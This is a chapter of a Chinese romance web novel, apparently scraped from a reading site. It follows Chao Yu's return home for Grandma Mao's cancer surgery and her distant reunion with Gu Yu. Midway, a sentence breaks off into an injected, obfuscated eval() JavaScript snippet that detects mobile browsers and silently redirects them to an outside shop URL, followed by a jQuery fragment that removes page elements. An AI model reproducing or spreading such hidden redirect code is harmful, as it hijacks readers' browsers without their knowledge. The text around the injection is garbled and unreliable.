深夜响起的电话，总是惊得人神经一跳，决计不可能是什么好事。
晁雨被从浅眠中惊醒，迷迷糊糊接起来：“喂？”
葛洁的声音传来：“小雨，你马上回洵州一趟。”
晁雨从床上跳下来穿衣服。老破小的出租屋不隔音，许辰懿也被突然响起的电话铃惊醒，从隔壁揉着眼过来：“怎么了？”
“我得回趟洵州。”
“出什么事了？”
“毛奶奶病了。”
“什么？”这下许辰懿也彻底清醒了：“什么病？”
“我妈说情况很不好，我得马上回洵州。”
“你去你去，你老板我熟，假我帮你请。”许辰懿顿了顿：“我正跟一大项目，实在不好请假，你先回去看看情况。”
“好。”
“万一……我就赶紧请假过来。”许辰懿没有把“万一”后面的话说全。
晁雨打开手机看机票，发现距离有时真叫人无力。她就算现在买机票，折腾到洵州，也跟明早的高铁时间差不多。
只得坐在客厅里眼睁睁等天亮，许辰懿陪她一起，送她去火车站。
晁雨没带什么行李，只带了个随身的包，直接赶去医院。
那时已是午后，初秋的南方湿润温暖，阳光如温水般沐浴着人。
医院走廊里却黯淡一片，并没被阳光照透。葛洁和晁正声守在那里，看上去疲倦异常，像熬了整夜。
晁雨跑过去。
经过这一路，她反而镇定下来，先问了毛秀珍的病情，然后叫葛洁和晁正声：“你们先回去睡一觉，一直守在这里，人都熬垮了。”
晁洁不愿意，后来晁正声也劝：“先回去吧，不然你倒下了，更没人照顾毛奶奶。”
终于劝走了爸妈。毛秀珍难得睡着了，晁雨怕进病房吵醒她，便也守在走廊里。
许辰懿的电话追过来：“怎么样了？”
晁雨：“是癌。”
谁能想到，看起来壮得能一拳打死三头牛的老太太、竟早在数十年前就查出患有甲状腺癌呢。
病情的查出，是在她去北京接回辜屿的那一年。并且早年捡垃圾的生涯，让她的身体状况并不好，并不适宜手术，只能保守治疗。
许辰懿问晁雨：“那现在呢？”
晁雨：“只能手术。”
“挺不过来怎么办？”
“挺不过来，也要挺。”晁雨说完这句，觉得有些耳熟。
后来想起这是晁二柱小时候身体不好，葛洁常常会说的一句话。
晚饭时间，葛洁给晁雨打电话，要来换她。
“别了。”晁雨阻止：“你们今晚好好休息，我年轻适合守夜。你们明早来换班吧。”
毛秀珍昏沉沉睡了一下午加一晚上，终于在夜里醒了过来，口齿不甚清楚地叫她：“雨丫头。”
晁雨握着她的手：“老太太，看把你能的。明明知道自己的病，居然瞒了我们这么多年。”
毛秀珍疲弱地咧开嘴笑：“不能告诉你们。二狗子那么聪明，告诉你们，他也会看出来的。”
晁雨：“你知道自己的病，所以把他送回了北京，不让他生活在你身边。”
毛秀珍吐了一口气，才继续道：“不能……”
“不能让他再看一次背影了。”
晁雨鼻腔里忽而猛烈地酸了下。
她给毛秀珍掖好被子：“别说话了，等病好了再说。听你跟林妹妹一样说话，我可真不习惯。”
毛秀珍叫她：“你给我把窗户打开。”
“别贪凉，这都快入秋了。”
“我是想看着劝宁塔。”毛秀珍笑笑：“人病了就是矫情，对吧？所有的医院都一个样，白墙白灯白床单，叫人慎得慌。我只有看着劝宁塔，才知道我是在自己的家乡。”
晁雨拗不过，去替她打开窗。
毛秀珍躺着不知看了多久的劝宁塔，那神情，像依恋母亲、寻获着安全感的小女孩。
夜越来越深，她终于又昏沉沉睡了过去。
病房里有窄窄陪护床，晁雨却睡不着，怕自己翻来覆去地吵醒毛秀珍，索性站起来走出病房。
走廊已经熄灯了，只有[逃生通道]的标识牌泛着莹莹绿光。走廊尽头，辜屿远远地坐在那里。
晁雨往那方向看了一眼，在病房门口坐下了。
直到夜彻底静默下来，浓稠地裹住人。
晁雨遥遥地，又往走廊尽头看了眼。
不知辜屿什么时候赶到的。晁雨总觉得他好像瘦了些，也可能是他坐成一团模糊的影子，所带给人的错觉。
他以往总是坐得肩背笔挺，这时却勾着腰，双手搭在岔开的双膝上，显得整个人很沉。
晁雨站起来，走到自动贩卖机去买了罐速溶咖啡。
走到他面前，他没抬头。
晁雨晃晃速溶咖啡问他：“要么？”
他摇头：“不用。”
还好现下里灯光暗着，晁雨看不清辜屿的脸。她也刻意不去看辜屿的脸，脑子里很莫名的，冒出她在咖啡馆和绎诚聊天时、窗外高悬的那张海报。
海报上的人，是离她很远很远、需得她折着后颈仰望的人。
现在这个人坐在她对面，阴影裹住他身形，生出了更重的距离感。可是很罕见的，他低低地笑了声，声音像从肺部深处发出来的。
他对晁雨说：“我不是告诉过你了么？”
“留不住的，还是留不住。”
晁雨一顿。
他站起来，往病房的方向走，擦过晁雨身边。那阵熟悉的香又来了，像月光下山涧里结了霜的清溪。晁雨上次闻到这味道，是商场里男香品牌办活动，他在里三层外三层的人群包裹里，她是人群外面目模糊的小角色。她靠不近他。
此刻闻到这味道，他在一阵阴翳情绪的包裹里，一切都被排斥在外。她还是靠不近他。
晁雨是想说点什么的。
比如“别担心。”
比如“一切都会好起来的。”
比如“这里的医生最了解毛奶奶情况，你选择没把她转去北京是对的。”
可一切言语出口前，已沦为苍白无力。她不是医生，更不是上帝，她无论承诺连她自己都没把握的事。
辜屿擦过她身边不过一瞬，眼看着他们即将擦肩而过。
晁雨下意识伸手拖住了辜屿的手。
辜屿怔了怔。
晁雨掌纹里细细的汗冒了出来。她只是觉得，如果她什么都不说、什么都不做的话，辜屿就坠入那一片黑暗里去了。
辜屿轻轻想把自己的手抽离。
晁雨却镇定了下来，把辜屿的手握得更紧了些，声音在黑暗里压得很低：“别管那么多。”
“不想放手的，就别放手。”
辜屿静静站着。
直到晁雨放开他的手：“去吧。”
他走向病房，坐到蓝色塑料等候椅上。晁雨则在他刚刚坐过的、走廊另端的等候椅坐下，远远望一眼他的侧影。
像病房门口沉默的守护神。
晁雨摊开手，低头看一眼自己指腹，又收拢手指轻搓了搓。
辜屿的手，可真凉啊。
-
葛洁第二天一早，和晁正声一同带着早饭、来换晁雨的班。
远远看走廊另端一眼：“小雨，你坐那么远干嘛？”
“过来一起吃早饭了。”
晁雨站起来：“好。”
四人一起吃了顿沉默的早饭，换葛洁和晁正声在这里陪毛秀珍，晁雨和辜屿回家睡觉。
两人一前一后走出医院，并没再说一句话。
毛秀珍的手术被安排在一周后。
手术前夜，晁雨在病房里陪着毛秀珍。
毛秀珍看着晁雨笑。
晁雨：“干嘛？”
毛秀珍：“你想不想继承我八位数的Q号？”
晁雨：……
她不轻不重地拍了毛秀珍一下：“呸呸呸，人老了怎么跟小孩一样，嘴上也没个把门的。”
毛秀珍气息弱，却嘿嘿地笑：“我一早知道二狗子喜欢你。”
晁雨不说话。
毛秀珍：“他每年夏天来洵州，第一句话都是跟你说的。”
她寻摸着捏住晁雨的手：“他那样的性格，我不求你永远喜欢他。”
“就是，万一……你别让他只有一个人，每年过节，你给他发条微信。群发的那种也行，只有几个字也行。”
晁雨回握着她的手：“别乱想了。”
“你不答应，我睡不着。”
“好，我答应。”
毛秀珍的手术难度颇高，被安排在次日第一台。葛洁和晁正声早早过来了，众人一起等着毛秀珍手术的结果，还有远程在线的许辰懿。
直到手术间的小窗口被打开。
晁正声扶住妻子的手：“我腿软。”
是晁雨走过去，听医生说：“手术成功了。”
晁雨下意识回头去看了眼走廊。其实自重逢的那夜以后，她和辜屿再没说过一句话了。
阴暗了一周的幽长走廊，至此好似终于被清晨的阳光照透。辜屿坐在那束光里，冲晁雨点了点头。
-
毛秀珍又在医院里住了一周。
出院那天，晁雨帮她收拾东西，辜屿去办手续，葛洁和晁正声也来了。
晁雨同她开玩笑：“老太太，好大的排场。”
“那可不！鬼门关里走过一遭的人，什么阵仗不值得？”毛秀珍哼哼唧唧：“要不咱买点豆腐吧？从此清清白白、一点儿疾病阴影都没有。”
“……老太太，卖豆腐那也是出狱时的讲究。”
一群人从出租车下来，又闹闹哄哄往毛家小院走去。晁雨和辜屿混在人群里，站得很远，彼此都没说话。
许辰懿终于对毛奶奶的病情放了心，贼兮兮地在线八卦：[你跟辜屿弟弟这次见面怎么样？]
冷冷冰雨：[能怎么样？]
Cici：[分开这么久再见面，你们说话了么？]
冷冷冰雨：[他刚回洵州那晚，简单说了句。]
Cici：[然后呢？]
冷冷冰雨：[没了。]
Cici：[没了？！？！]
又过了会儿，许辰懿不甚唏嘘发来句：[看来在你心里，那个夏天的事是彻底过去了。]
初秋阳光在手机屏幕上凝出枚光斑，晁雨盯着许辰懿发来的那句话看了许久。
是吗？彻底过去了吗？
如果彻底过去了，她现在是否能够在一众前来道贺的邻居中，更自然地走到辜屿身边，看着他眼睛跟他聊几句闲话。
比如“今天天气真好”。
比如“今天中午的菜色都是我妈安排的，你要不要去看看”。
可她说不出任何闲谈。
她只能站得离辜屿越远越好。
按洵州的规矩，老人家重病出院，邻里街坊都是要来送红包道贺的，中午留下来吃筵席。所以各位老人家们现在也没走，坐在院子里喝茶嗑瓜子，用方言聊着天。
大开的院门外，探进一颗光头来。
晁雨一眼看到那是九叔。九叔不进来，就在院门口鬼鬼祟祟地看。
葛洁和晁正声忙着添茶待客，没任何人注意到他。晁雨只得自己走过去。
他扫了晁雨一眼：“回来了啊。”
晁雨盯着地面门槛的缝：“嗯。”
那句歌词怎么唱的来着，“严重似情侣讲分手”。
尽管九叔从没承认过，晁雨心里却认定，两人曾是并肩的“战友”。只不过终是走到了分岔路口，说不清是谁先当了逃兵。
洵州可真是个厉害地方。一个辜屿让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137125|143130||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她尴尬还不够，还来个九叔。
九叔把一只薄薄红包递给晁雨：“帮我交给毛秀珍。”
“你不进去吃筵席啊？”晁雨依旧盯着地面的缝：“我妈请了乡厨。”
“不进去了。免得他们总开我和毛秀珍的玩笑。”
“哦。”晁雨点点头。
九叔背着手往外走，末了回头：“对了，你晚上有空的话，来趟劝宁塔。我和你一起检查遍塔里，没什么问题的话，就把钥匙还回来了。”
晁雨应了声：“好。”
晁雨帮着葛洁张罗了两顿饭。入了夜，来道贺的邻居们都走了，她送毛秀珍回屋躺下，便按和九叔的约定去了劝宁塔。
九叔背着手站在塔外，仰着头也不知看什么。
见晁雨过去，两人之间也不像过去那样互怼了，也没什么话。沉默着走进塔里，里里外外检查了遍。
走出塔外，等晁雨锁了门，九叔对她摊开手：“钥匙给我吧。”
晁雨睫毛尖翕动了下，低头从帆布包里掏出钥匙。她把那单薄的一把，从钥匙圈上卸下来，其他钥匙放回包里，那把捏在手里。
好薄，边缘割着她掌心。
她问九叔：“那边的进度怎么样了？”
九叔：“我上哪知道去。”
从晁雨的方案失败后，杜昱德和明恒宇应该开始介入劝宁塔项目。关于进度如何，晁雨是一点不敢打听。直到现在，她终于忍不住了。
九叔说：“你当时走得太急，钥匙都没来得及还。这次把钥匙还回去，劝宁塔就彻底跟我们没关系了。”
一句话在晁雨心里扎了下。
九叔晃晃手掌：“钥匙拿来呀。”
晁雨也不知为什么，总想起毛秀珍躺在病床上，一双虚无的眼望向窗外，一寸寸挪、一寸寸挪，等灰蒙的眼神终于寻到劝宁塔，那眼神就定了。
“你磨蹭什么呢？”九叔见她迟迟不递过来，伸手去夺。
薄薄一片钥匙边缘太锋利，晁雨皮肤又细嫩，划出道血痕来。
九叔一愣，倒是晁雨自己轻捏了捏手掌：“没事。”
她背着帆布包转身走了。
九叔一个人在原地默默站了半晌，拖出句戏腔来：“残山梦最真，旧境丢难掉——”
“走吧，都走吧。我早知道，人是留不住的咯。”
-
晁雨埋头一路走、一路走。以前往返那么多次去扫塔，都是坐公交车，此时横冲直撞地一抬头，竟发现就这样走回了家。
并不觉得累。身体里太多发泄不完的精力似的，让她闲不下来、坐不下来。
她也不知还能去哪，背着帆布包没头苍蝇一样乱转。
再一抬头的时候，发现自己走到了录像厅。
晁雨神情变得愣愣的——因为她瞧见，曾经的录像厅变为了一片断壁残垣。
竟已拆迁了。
什么时候的事？她人在北京，竟然丝毫不知情。
疲惫感是陡然袭来的，大约她今天实在走太多路了，膝盖忽软得站不住似的。她往后倒退两步，坐在了路沿上。
一只拖着玻璃柜的三轮车骑过她面前。她抬头，发现是以前在录像厅前卖小吃的阿姨。
爆米花用老式的塑料袋装着，糖浆裹得一点不均匀，汽水里满是色素味道。也不知她们小时候，怎么就那么爱买。
阿姨看她一眼：“哟，好久不见。我正打算收摊。”
她丢给晁雨一包爆米花：“送你。”
“别别。”晁雨忙掏出手机：“我付钱。”
“没多少钱的事。”阿姨挥挥手：“我二维码都收起来了，懒得拿了。”
“录像厅什么时候拆的？”
“夏天时候的事啦。”阿姨道：“今天拆这里，明天拆那里。我看这老城也和新城区那边一样，要被拆得差不多咯。”
“那您，”晁雨问：“还在这卖东西啊？”
阿姨笑笑：“我想着会不会有人按以前的老习惯，找到这里来买。是我想多啦，哪还有那么恋旧的人呢。我记得我年轻的时候，你们才那么一丁点大，几岁的小孩，总不买票偷偷溜进去。”
“连你都这么大了。”她问晁雨：“你今年多少岁？”
“二十七。”
“是了。”阿姨点点头：“该变咯。今晚是我在这里卖东西的最后一晚，以后我也不来咯。”
她蹬着三轮车走了。
晁雨解开爆米花的塑料袋，掏出一颗爆米花来，放进嘴里。
真奇怪，是糖浆裹得太不均匀、还是她记忆错乱？她记得小时候这种老式爆米花甜甜的很好吃，怎么吃起来如此寡淡无味？
晁雨低头又在塑料袋里找了找，发现每一颗都是淡白，并没有记忆里裹满糖浆的那种。
她轻轻呼出一口气，仰头望着街边屋檐。
那里也能望见劝宁塔的一角。
是这样吗？一切都该改变了？
再也不会有人来录像厅一遍遍看香港和好莱坞的老电影。劝宁塔也将变成所谓“差不多”的其他模样。
就像阿姨所说，再不会有人特意在夏天寻到录像厅这边来了。
她身后的草丛里有最后的虫鸣。等虫鸣一熄，这里更会安静得怕人了。
正当晁雨这样想着时，远远的脚步声传来。
晁雨手里拈着颗爆米花抬眸。
辜屿站在那里。没穿外套，一件黑T，单手插进长裤口袋。远远的，与晁雨隔着月光，隔着灯光。
晁雨没有收回眼神。
她很难描述自己那一刻的感觉。
是，也许太久没见，辜屿的五官映在她眼底显得有些许陌生了。可他又与她一样，会在乱逛的时候踏过青石板路，走到录像厅这边来。
原来还有像她一样，留在过去的人。
原来还有像她一样，眷恋恒久的人。